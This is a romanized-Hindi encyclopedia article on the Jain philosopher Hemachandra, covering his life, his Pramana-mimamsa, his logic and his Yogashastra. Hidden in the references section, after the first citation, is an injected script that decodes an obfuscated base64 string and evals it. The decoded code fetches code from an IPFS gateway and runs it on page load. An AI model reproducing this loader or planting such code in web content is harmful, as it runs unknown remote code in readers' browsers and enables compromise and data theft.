हेमचन्द्र
hemachandr athava hemachandrasoori (1078 - 1162) shvetambar parampara ke ek mahanh jain darshanik aur achary the. hemachandr darshan, dharm evan adhyatm ke mahanh chintak hone ke sath-sath ek mahanh vaiyakaran, alankarik, mahakavi, itihasakar, puranakar, koshakar, chhandoanushasak evan dharmopadeshak ke roop mean prasiddh haian. ye nyay, vyakaran, sahity, siddhant, sanskrit, prakrit, apabhransh aur yog in sabhi vishayoan ke prakhar vidvan the. hemachandr raja siddharaj jayasianh ke sabha-kavi the. ve bahumukhi pratibha sampann achary the. achary shri jain yog ke mahanh jnata evan mantrashastr ke adhikari vidvan the. inake advitiy jnan evan bahumukhi pratibha ke karan hi inhean 'kalikalasarvajn' ki upadhi se alankrit kiya gaya hai.
jivan parichay
shvaitambar jain parampara ke achary hemachandr ka janm gujarat mean ahamadabad se ath mil door dakshin-pashchim mean sthit dhundhuka nagar mean 1078 ee. ki kartik poornima ki ratri ko hua tha. inake mata-pita modh vanshiy vaishy the. inaki kuladevi 'chamunda' aur kulayaksh 'gonas' tha. achary hemachandr ka moolanam chagnadev tha. inaki mata pahini jain thian tatha inake pita chachiang shaiv the. inamean koee virodh nahian hai, kyoanki us kal mean dakshin bharat tatha gujarat mean aise parivar anek the, jinamean pati aur patni ke dharm alag-alag the.[1]
balak chagnadev ko ath varsh ki umr mean stambhatirth (khambhat) mean jain sangh ki anumati se diksha di gee aur unaka nam somachandr ho gaya. somachandr ne alpakal mean hi darshan, lakshan evan sahity mean apoorv jnan prapt kar liya. bad mean ve 'hemachandr' kahalae. 84 varsh ki ayu mean unhoanne anashanapoorvak antyaradhan kriya ka shubharambh kiya aur kumar pal ko dharmopadesh dete hue apane aihik sharir ka parityag kar diya. achary hemachandr ka samadhi sthal shatruanjay paha d par sthit hai, jo shvetambar tatha digambar donoan paramparaoan ka tirthasthal ho gaya hai.
darshanik ke roop mean
achary hemachandr ne anyayogavyavachchhev aur ayogavyavachchhed namak do dvamianshikaoan ke madhyam se jainetar darshanoan ka khandan tatha jain darshan ke mool siddhaantoan ka pratipadan kiya. in donoan mean 32-32 shlok haian. hemachandr ki anyayogavyavachchhedika ke oopar syadavadamanjari nam ki tika mallishen achary ne likhi hai. ayogavyavachchhedika nam ki doosari dvatrianshika mean svapaksh ki siddhi ki gayi hai. achary hemachandr ke sampoorn vanmay ka uddeshy jain darshan ke siddhaantoan ka pratipadan evan prasar raha hai. is prakar unake granthoan mean, chahe ve sootr sahity, kavy, puran athava vitarag stuti ke hoan, jain darshan ke hi uchchatar bhavoan ki abhivyakti huee hai. vishuddh darshanik drishti se dekhane par achary shri ki 'dvatrianshik', 'praman mimaansa' tatha 'yogashastr' ki ganana jain darshan ke akar granthoan mean hi jayegi. ayogavyavachchhedika mean achary hemachandr ne tirthankaroan ke agam ko shreyaskar siddh kar jinashasan ki mahatta ki sthapana ki hai. achary shri ke anusar jainatar agam mean hiansa ka vidhan paya jata hai. athach poorva par virodh se rahit yatharthavadi hi pramanit haian. unake anusar vitarag ko chho dakar doosara koee nyayamarg nahian hai.
achary hemachandr ke anusar pratiti abhedagamini ho bhedagamini, sabhi vastavik haian. kisi ek ko poorn manana hi bhool hai. samany aur vishesh ka vichar apane ap mean yatharth hone par bhi poorn praman nahian hai. vah praman ka ek aansh vishesh hai. ise van aur vriksh ke udaharan dvara spasht kiya ja sakata hai. anek vrikshoan ke samany ko van kahate haian. vrikshoan ko samany van roop mean svikar karane par visheshoan ka lop nahian ho pata hai. par sabhi vishesh samany mean lin ho jate haian. parantu jab vriksh ko usaki ikaee mean alag-alag grahan karate haian, tab samany ka abhas ho jata hai. donoan anubhav saty haian. parantu donoan ki satyata ekaangi hai. kisi ek ko poorn saty manana dridhavadita hai. poorn saty vibhinn vicharoan ke samanvay mean hai, karan ka kary saty bhi hai aur asath bhi. baudhoan ka paramanupunjavad evan naiyayikoan ka apoorvavayavivad donoan ka samanvay achary ne praman mimaansa mean anekantavad ke aantargat kiya hai. samanvayavadi vichar darshan ke aantargat 'nayavad' aur 'bhangavad' ap hi ap phalit hote haian.[1]
praman-mimaansa
hemachandr ka nyay-granth 'praman-mimaansa' vishesh prasiddh hai. isake sootr aur unaki svopajn tika donoan hi sundar aur bodhaprad haian. nyay ke prathamik abhyasi ke lie parikshamukh aur nyayadipika ki tarah isaka bhi abhyas upayogi hai. praman-mimaansa ke aantargat anekantavad, praman, paramarthik pratyaksh, indriy jnan ka svaroop tatha sima, paroksh ke prakar-bhed, anumanavayav, nigrah-sthan, sarvajnatv ki siddhi tatha praman-pramey adi sabhi vishayoan ka tatvik vivechan kiya gaya hai. inaki yah antim evan adhoori kriti sootr-shaili mean likhi gee hai. unhoanne doosare hi sootr mean praman ki saral tatha sahaj paribhasha di hai- samyagarthanirnay : pramanamh.[1]
achary hemachandr ke anusar praman do prakar ke haian- pratyaksh aur paroksh. svatantr atma ke ashrit jnan hi pratyaksh haian. paratantr indrijany jnan pratyaksh nahian hai. tatv chintan mean ye vichar nitant maulik haian. sabhi praman prakashoan ko unhoanne paroksh ke aantargat mana hai. ve indriyoan ka svatantr samarthy svikar karate haian. ve anindriy arthath man aur atma donoan ka alag-alg svatantr samarthy bhi svikar karate haian.
praman shastr
achary hemachandr ne katha ka vadatmak roop sthir kar praman shastr ko parishkrit evan parimarjit kiya. chhal adi kapat vyavahar ko varjy ghoshit kar tarkashastr ko yatharthavadi sanskar diya. 'tatvasanrakshatarth prashnikadisamakshan sadhanadooshan-vadanan vad:[2] katha vahi hai, jisake dvara tatv chintan sulabh ho sake. achary hemachandr ke anusar jain darshan vastut: parinamavadi hai. saankhy, yog ka parinamavad matr chetanatatvasparshi hai. jain parinamavad, j d, chetan, sthool, sookshm, samagr vastusparshi hai. vah sarvavyapak parinamavad hai. arambhavad tatha parinamavad ka apoorv samanvay jain sarvavyapak parinamavad mean ho jata hai. praman mimaansa mean jin sarvajnavad ki sthapana ki gee hai. jain parampara mean moolabhoot mean sarvajnavadi hai jab ki bauddh aur vaidik parampara isase bhinn haian.[1]
mool siddhaant
praman mimaansa ke anusar saptabhangi ka adhar nayavad hai aur usaka uddeshy samanvay hai. darshanoan ka samanvay batalane ki drishti se unake vishayabhoot bhav-abhavatmak donoan aanshoan ko lekar un par sanbhavit vakyabhang banae jate haian. vahi saptabhangi hai. is tarah nayavad aur bhanvad anekant drishti ke kshetr mean ap hi ap phalit ho jate haian. samanvay hemachandr ki praman mimaansa ka mool siddhaant hai.
yogashastr
achary hemachandr ka yogashastr darshan tatha dharm ke kshetr mean apana ek vishisht sthan rakhata hai. yogashastr jain sampraday ka vishuddh dharmik evan darshanik granth hai. yogashastr ko adhyatmopanishad kaha jata hai. isamean yog ki paribhasha, 'asan', rechak kumbhak' poorak adi pranayamoan ka nirupan kiya gaya hai. sath hi adarsh grihasth jivan ke dvadash vrat ka vidhan kiya gaya hai. achary shri ne granth mean indriyajay, kashayajay, man:shuddhi aur ragadvesh jay ki prakriya ka ullekh kiya hai. atm-jnan ke dvara hi karmakshay hota hai aur dhyan ke dvara hi atmajnan ki prapti hoti hai. samyabhav ke bina dhyan ki siddhi nahian ho sakati hai aur n dhyan ke bina samyabhav utpann ho sakata hai.
dhyan do prakar ke haian- dharmy aur shukl- dharmy dhyan ki siddhi ke lie maitri adi bhavanaoan ko dhyan ka rasayan batalaya gaya hai. ratnatray ka bhi samyakh varnan kiya gaya hai. yogashastr ke anusar atma chidroop hai. dhyanagni se sarv karm bhasmibhoot ho jata hai aur atma niranjan ho jati hai. kashayoan ko jitakar jitendriy purush nirvan prapt karata hai. yog ki alaukik shaktiyoan ki vyakhya ki hai. achary hemachandr bhi achary shubhachandr ki tarah pranayam ko moksh prapti mean badhak manate haian. vaise achary ke yogashastr tatha maharshi patanjali ke yogasootr mean kafi samanata bhi hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 sianh, d aau. lalan prasad “96”, vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 684.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ (2-1-30)
sanbandhit lekh
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